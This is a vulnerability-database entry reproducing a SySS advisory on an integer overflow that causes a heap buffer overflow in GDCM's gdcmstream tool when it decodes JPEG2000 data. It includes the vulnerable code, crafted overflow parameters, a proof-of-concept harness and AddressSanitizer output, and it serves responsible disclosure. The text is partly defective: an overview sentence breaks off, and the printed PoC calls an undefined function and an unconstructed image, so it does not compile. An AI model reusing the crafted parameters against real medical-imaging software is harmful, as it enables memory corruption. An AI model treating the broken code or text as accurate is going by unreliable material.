GCVE-1988-2026-0437
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
[SYSS-2026-070]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)
Summary
Advisory ID: SYSS-2026-070
Product: GDCM (Grassroots DICOM)
Manufacturer: GDCM Project
Affected Version(s): 3.3.0
Tested Version(s): 3.3.0
Vulnerability Type: Integer Overflow (CWE-190)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-07-24
Public Disclosure: 2026-09-23
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,
and processing DICOM (Digital Imaging and Communications in Medicine)
medical imaging files (see [1]).
The gdcmstream command-line tool, used for stream-based reading and writing
of DICOM images, is vulnerable to an integer overflow that leads to a heap
buffer overflow.
When processing JPEG2000-compressed DICOM files, the gdcmstream tool decodes
the embedded JPEG2000 codestream via OpenJPEG and allocates a buffer for the
raw pixel data. The buffer size is computed using 32-bit integer arithmetic
the product exceeds 2^32, the result silently wraps around, causing an
undersized buffer allocation. The subsequent pixel data write loop then
overflows the heap buffer.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The vulnerable code is in the Write_Resolution function at
Applications/Cxx/gdcmstream.cxx:246-271:
int Dimensions[2];
{
int compno = 0;
opj_image_comp_t *comp = &image->comps[compno];
Dimensions[0]= comp->w;
Dimensions[1] = comp->h;
}
unsigned long rawlen = Dimensions[0]*Dimensions[1] * image->numcomps;
char *raw = new char[rawlen];
for (unsigned int compno = 0; compno < (unsigned int)image->numcomps;
compno++)
{
const opj_image_comp_t *comp = &image->comps[compno];
int w = comp->w;
int h = comp->h;
uint8_t *data8 = (uint8_t*)raw + compno;
for (int i = 0; i < w * h; i++)
{
int v = image->comps[compno].data[i];
*data8 = (uint8_t)v;
data8 += image->numcomps;
}
}
The variables Dimensions[0] and Dimensions[1] are both 'int' (32-bit signed)
values converted from the OpenJPEG component structure's 'w' and 'h' fields,
which are OPJ_UINT32 (uint32_t). The variable image->numcomps is also
OPJ_UINT32 (uint32_t).
The multiplication Dimensions[0]*Dimensions[1] is performed in 'int' (32-bit
signed) arithmetic. The result is then multiplied by image->numcomps
(OPJ_UINT32). Due to C++ usual arithmetic conversions, when a signed int
and an unsigned int are multiplied, the signed int is converted to unsigned
int, and the multiplication is performed in 32-bit unsigned integer
arithmetic. The result is only widened to 'unsigned long' (64-bit) on
assignment to 'rawlen', after the overflow has already occurred.
When the product exceeds 2^32, it wraps around modulo 2^32, producing a
value much smaller than the actual amount of pixel data. The subsequent
write loop then writes w*h pixels for each component, each advancing the
write pointer by numcomps bytes, overflowing the undersized buffer on the
heap.
The JPEG2000 SIZ marker uses 32-bit unsigned values for Xsiz and Ysiz
(image dimensions), so values exceeding 65535 (the maximum representable in
the DICOM US VR used for Rows and Columns) are valid in a JPEG2000
codestream. This means a malicious JPEG2000 codestream embedded in a DICOM
file can set component dimensions that trigger the integer overflow without
needing to violate DICOM header constraints.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
A PoC was developed that uses the vulnerable code from Write_Resolution()
in gdcmstream.cxx (lines 246-271) to trigger a real heap buffer overflow
detected by AddressSanitizer.
The PoC constructs a real opj_image_t structure with crafted parameters:
- numcomps = 65535 (maximum from a 16-bit J2K SIZ Csiz field)
- Component 0: w = 65538, h = 1
- Components 1..65534: w = 0, h = 0 (inner loop does not execute)
Overflow calculation:
Step 1: Dimensions[0] * Dimensions[1] = 65538 * 1 = 65538
(computed as 'int', fits within INT_MAX, no signed overflow)
Step 2: 65538 * 65535 = 4,295,032,830
(computed as uint32_t due to OPJ_UINT32 numcomps)
uint32_t overflow: 4,295,032,830 mod 2^32 = 65,534
Buffer allocated (rawlen): 65,534 bytes
Actual data that will be written: 65538 * 65535 = 4,295,032,830 bytes
(~4.00 GB)
*** Buffer too small by 4,294,967,296 bytes ***
Loop execution:
i=0: write at raw[0] — inside buffer (OK)
i=1: write at raw[65535] — OUTSIDE 65,534-byte buffer!
PoC source code:
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <openjpeg.h>
/* Verbatim vulnerable code from gdcmstream.cxx:246-271 */
static void trigger_vuln_13(opj_image_t *image)
{
int Dimensions[2];
{
int compno = 0;
opj_image_comp_t *comp = &image->comps[compno];
Dimensions[0] = comp->w;
Dimensions[1] = comp->h;
}
unsigned long rawlen =
Dimensions[0] * Dimensions[1] * image->numcomps;
char *raw = new char[rawlen];
for (unsigned int compno = 0;
compno < (unsigned int)image->numcomps; compno++)
{
const opj_image_comp_t *comp = &image->comps[compno];
int w = comp->w;
int h = comp->h;
uint8_t *data8 = (uint8_t *)raw + compno;
for (int i = 0; i < w * h; i++)
{
int v = image->comps[compno].data[i];
*data8 = (uint8_t)v;
data8 += image->numcomps;
}
}
delete[] raw;
}
int main()
{
/* Construct crafted opj_image_t with numcomps=65535, w=65538, h=1 */
trigger_vuln(&image);
return 0;
}
To build and run the PoC:
g++ -fsanitize=address -fno-omit-frame-pointer -g \
-I/usr/include/openjpeg-2.5 \
pocs/poc.cpp -o poc
$ ./poc
=== PoC: Integer Overflow in gdcmstream J2K Decode (VULN-13) ===
...
--- Triggering vulnerable code (gdcmstream.cxx:246-271) ---
Calling trigger_vuln(image)...
=================================================================
==10171==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x7e95d48047ff at pc 0x56007861f67a bp 0x7ffcb697e7e0
sp 0x7ffcb697e7d0
WRITE of size 1 at 0x7e95d48047ff thread T0
#0 0x56007861f679 in trigger_vuln
pocs/poc13_vuln13_real.cpp:122
#1 0x56007861ff4c in main
pocs/poc13_vuln13_real.cpp:234
0x7e95d48047ff is located 1 bytes after 65534-byte region
[0x7e95d47f4800,0x7e95d48047fe) allocated by thread T0 here:
#0 0x7f85d5f2d431 in operator new[](unsigned long)
#1 0x56007861f46d in trigger_vuln
pocs/poc13_vuln13_real.cpp:110
SUMMARY: AddressSanitizer: heap-buffer-overflow
pocs/poc13_vuln13_real.cpp:122 in trigger_vuln
==10171==ABORTING
The AddressSanitizer output confirms:
- Buffer allocated: 65,534 bytes (as predicted by the overflow)
- Write at offset 65,535 (1 byte past the buffer end)
- Detected as heap-buffer-overflow at line 122 (the
*data8 = (uint8_t)v; write)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-24: Vulnerability reported to manufacturer
2026-07-31: Vulnerability reported to manufacturer again
2026-09-23: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] GDCM project website
https://gdcm.sourceforge.net/
[2] SySS Security Advisory SYSS-2026-070
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | GDCM (Grassroots DICOM) |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "GDCM (Grassroots DICOM)",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-070\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Integer Overflow (CWE-190)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe gdcmstream command-line tool, used for stream-based reading and writing\nof DICOM images, is vulnerable to an integer overflow that leads to a heap\nbuffer overflow.\n\nWhen processing JPEG2000-compressed DICOM files, the gdcmstream tool decodes\nthe embedded JPEG2000 codestream via OpenJPEG and allocates a buffer for the\nraw pixel data. The buffer size is computed using 32-bit integer arithmetic\n\nthe product exceeds 2^32, the result silently wraps around, causing an\nundersized buffer allocation. The subsequent pixel data write loop then\noverflows the heap buffer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe vulnerable code is in the Write_Resolution function at\nApplications/Cxx/gdcmstream.cxx:246-271:\n\n int Dimensions[2];\n {\n int compno = 0;\n opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n Dimensions[0]= comp-\u003ew;\n Dimensions[1] = comp-\u003eh;\n }\n unsigned long rawlen = Dimensions[0]*Dimensions[1] * image-\u003enumcomps;\n char *raw = new char[rawlen];\n\n for (unsigned int compno = 0; compno \u003c (unsigned int)image-\u003enumcomps;\n compno++)\n {\n const opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n int w = comp-\u003ew;\n int h = comp-\u003eh;\n uint8_t *data8 = (uint8_t*)raw + compno;\n for (int i = 0; i \u003c w * h; i++)\n {\n int v = image-\u003ecomps[compno].data[i];\n *data8 = (uint8_t)v;\n data8 += image-\u003enumcomps;\n }\n }\n\nThe variables Dimensions[0] and Dimensions[1] are both \u0027int\u0027 (32-bit signed)\nvalues converted from the OpenJPEG component structure\u0027s \u0027w\u0027 and \u0027h\u0027 fields,\nwhich are OPJ_UINT32 (uint32_t). The variable image-\u003enumcomps is also\nOPJ_UINT32 (uint32_t).\n\nThe multiplication Dimensions[0]*Dimensions[1] is performed in \u0027int\u0027 (32-bit\nsigned) arithmetic. The result is then multiplied by image-\u003enumcomps\n(OPJ_UINT32). Due to C++ usual arithmetic conversions, when a signed int\nand an unsigned int are multiplied, the signed int is converted to unsigned\nint, and the multiplication is performed in 32-bit unsigned integer\narithmetic. The result is only widened to \u0027unsigned long\u0027 (64-bit) on\nassignment to \u0027rawlen\u0027, after the overflow has already occurred.\n\nWhen the product exceeds 2^32, it wraps around modulo 2^32, producing a\nvalue much smaller than the actual amount of pixel data. The subsequent\nwrite loop then writes w*h pixels for each component, each advancing the\nwrite pointer by numcomps bytes, overflowing the undersized buffer on the\nheap.\n\nThe JPEG2000 SIZ marker uses 32-bit unsigned values for Xsiz and Ysiz\n(image dimensions), so values exceeding 65535 (the maximum representable in\nthe DICOM US VR used for Rows and Columns) are valid in a JPEG2000\ncodestream. This means a malicious JPEG2000 codestream embedded in a DICOM\nfile can set component dimensions that trigger the integer overflow without\nneeding to violate DICOM header constraints.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that uses the vulnerable code from Write_Resolution()\nin gdcmstream.cxx (lines 246-271) to trigger a real heap buffer overflow\ndetected by AddressSanitizer.\n\nThe PoC constructs a real opj_image_t structure with crafted parameters:\n - numcomps = 65535 (maximum from a 16-bit J2K SIZ Csiz field)\n - Component 0: w = 65538, h = 1\n - Components 1..65534: w = 0, h = 0 (inner loop does not execute)\n\nOverflow calculation:\n Step 1: Dimensions[0] * Dimensions[1] = 65538 * 1 = 65538\n (computed as \u0027int\u0027, fits within INT_MAX, no signed overflow)\n Step 2: 65538 * 65535 = 4,295,032,830\n (computed as uint32_t due to OPJ_UINT32 numcomps)\n uint32_t overflow: 4,295,032,830 mod 2^32 = 65,534\n Buffer allocated (rawlen): 65,534 bytes\n Actual data that will be written: 65538 * 65535 = 4,295,032,830 bytes\n (~4.00 GB)\n *** Buffer too small by 4,294,967,296 bytes ***\n\n Loop execution:\n i=0: write at raw[0] \u2014 inside buffer (OK)\n i=1: write at raw[65535] \u2014 OUTSIDE 65,534-byte buffer!\n\nPoC source code:\n\n #include \u003ccstdint\u003e\n #include \u003ccstdio\u003e\n #include \u003ccstdlib\u003e\n #include \u003ccstring\u003e\n #include \u003copenjpeg.h\u003e\n\n /* Verbatim vulnerable code from gdcmstream.cxx:246-271 */\n static void trigger_vuln_13(opj_image_t *image)\n {\n int Dimensions[2];\n {\n int compno = 0;\n opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n Dimensions[0] = comp-\u003ew;\n Dimensions[1] = comp-\u003eh;\n }\n unsigned long rawlen =\n Dimensions[0] * Dimensions[1] * image-\u003enumcomps;\n char *raw = new char[rawlen];\n\n for (unsigned int compno = 0;\n compno \u003c (unsigned int)image-\u003enumcomps; compno++)\n {\n const opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n int w = comp-\u003ew;\n int h = comp-\u003eh;\n uint8_t *data8 = (uint8_t *)raw + compno;\n for (int i = 0; i \u003c w * h; i++)\n {\n int v = image-\u003ecomps[compno].data[i];\n *data8 = (uint8_t)v;\n data8 += image-\u003enumcomps;\n }\n }\n delete[] raw;\n }\n\n int main()\n {\n /* Construct crafted opj_image_t with numcomps=65535, w=65538, h=1 */\n trigger_vuln(\u0026image);\n return 0;\n }\n\nTo build and run the PoC:\n\n g++ -fsanitize=address -fno-omit-frame-pointer -g \\\n -I/usr/include/openjpeg-2.5 \\\n pocs/poc.cpp -o poc\n\n $ ./poc\n === PoC: Integer Overflow in gdcmstream J2K Decode (VULN-13) ===\n ...\n --- Triggering vulnerable code (gdcmstream.cxx:246-271) ---\n Calling trigger_vuln(image)...\n\n =================================================================\n ==10171==ERROR: AddressSanitizer: heap-buffer-overflow on address\n 0x7e95d48047ff at pc 0x56007861f67a bp 0x7ffcb697e7e0\n sp 0x7ffcb697e7d0\n WRITE of size 1 at 0x7e95d48047ff thread T0\n #0 0x56007861f679 in trigger_vuln\n pocs/poc13_vuln13_real.cpp:122\n #1 0x56007861ff4c in main\n pocs/poc13_vuln13_real.cpp:234\n 0x7e95d48047ff is located 1 bytes after 65534-byte region\n [0x7e95d47f4800,0x7e95d48047fe) allocated by thread T0 here:\n #0 0x7f85d5f2d431 in operator new[](unsigned long)\n #1 0x56007861f46d in trigger_vuln\n pocs/poc13_vuln13_real.cpp:110\n SUMMARY: AddressSanitizer: heap-buffer-overflow\n pocs/poc13_vuln13_real.cpp:122 in trigger_vuln\n ==10171==ABORTING\n\nThe AddressSanitizer output confirms:\n - Buffer allocated: 65,534 bytes (as predicted by the overflow)\n - Write at offset 65,535 (1 byte past the buffer end)\n - Detected as heap-buffer-overflow at line 122 (the\n *data8 = (uint8_t)v; write)\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-070\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:33Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/86"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/86"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://gdcm.sourceforge.net/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/86"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-070]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0437",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/86",
"automated": true,
"contentSha256": "c0cfaec47624d4609ac5f2a714ef00d094dd6cf07b8de2a6188d3df5a848189d",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/86",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-23T13:33:44Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:33Z",
"dateUpdated": "2026-10-02T04:57:33Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0437"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…